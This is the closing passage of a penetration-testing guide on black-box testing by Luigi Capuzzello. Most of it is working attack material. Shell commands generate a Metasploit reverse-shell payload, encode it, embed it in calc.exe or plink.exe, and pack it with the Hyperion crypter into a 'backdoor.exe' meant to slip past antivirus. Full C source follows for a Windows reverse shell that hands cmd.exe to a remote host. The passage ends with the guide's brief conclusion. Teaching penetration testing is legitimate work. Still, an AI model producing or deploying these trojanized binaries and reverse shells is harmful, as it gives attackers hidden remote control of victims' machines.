# locate Hyperion# cd /tmp/# cp /usr/share/windows-binaries/Hyperion-1.0.zip ./# unzip Hyperion-1.0.zip# i586-mingw32msvc-g++ Src/Crypter/*.cpp -o hyperion.exe# msfpayload windows/shell_reverse_tcp LHOST=192.168.10.5 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t exe -c 9 -x /usr/share/windows-binaries/calc.exe –o /tmp/shell_reverse_msf_encoded_embedded.exe# msfpayload windows/shell_reverse_tcp LHOST=192.168.10.5 LPORT=4444 R | msfencode -e x86/shikata_ga_nai -t exe -c 9 -x /usr/share/windows-binaries/plink.exe -o /tmp/shell_reverse_msf_encoded_embedded.exe# wine hyperion.exe /tmp/shell_reverse_msf_encoded_embedded.exe /tmp/backdoor.exe

Or you can also create your own backdoor such as this one (wtitten by blkhtc0rp):/* Windows Reverse Shell Tested under windows 7 with AVG Free Edition. Author: blkhtc0rp Compile: wine gcc.exe windows.c -o windows.exe -lws2_32 Written 2010 - Modified 2012 This program is open source you can copy and modify, but please keep author credits! http://code.google.com/p/blkht-progs/ https://snipt.net/blkhtc0rp/ */ #include <winsock2.h> #include <stdio.h> #pragma comment(lib,"ws2_32") WSADATA wsaData; SOCKET Winsock; SOCKET Sock; struct sockaddr_in hax; char ip_addr[16]; STARTUPINFO ini_processo; PROCESS_INFORMATION processo_info; int main(int argc, char *argv[]) { WSAStartup(MAKEWORD(2,2), &wsaData); Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); if (argc != 3){fprintf(stderr, "Uso: <rhost> <rport>\n"); exit(1);} struct hostent *host; host = gethostbyname(argv[1]); strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr))); hax.sin_family = AF_INET; hax.sin_port = htons(atoi(argv[2])); hax.sin_addr.s_addr = inet_addr(ip_addr); WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL); memset(&ini_processo,0,sizeof(ini_processo)); ini_processo.cb=sizeof(ini_processo); ini_processo.dwFlags=STARTF_USESTDHANDLES; ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock; CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&ini_processo,&processo_info) ; }

# i586-mingw32msvc-gcc crypter.c -o crypter.exe -lws2_32

Page 30: penetration testing - black box type.

29Conclusion

Luigi Capuzzello

ConclusionI hope these chapters can help you to focus the main scheme of a black box penetration test.Many topics will be discussed further with the next documents.Keep in touch.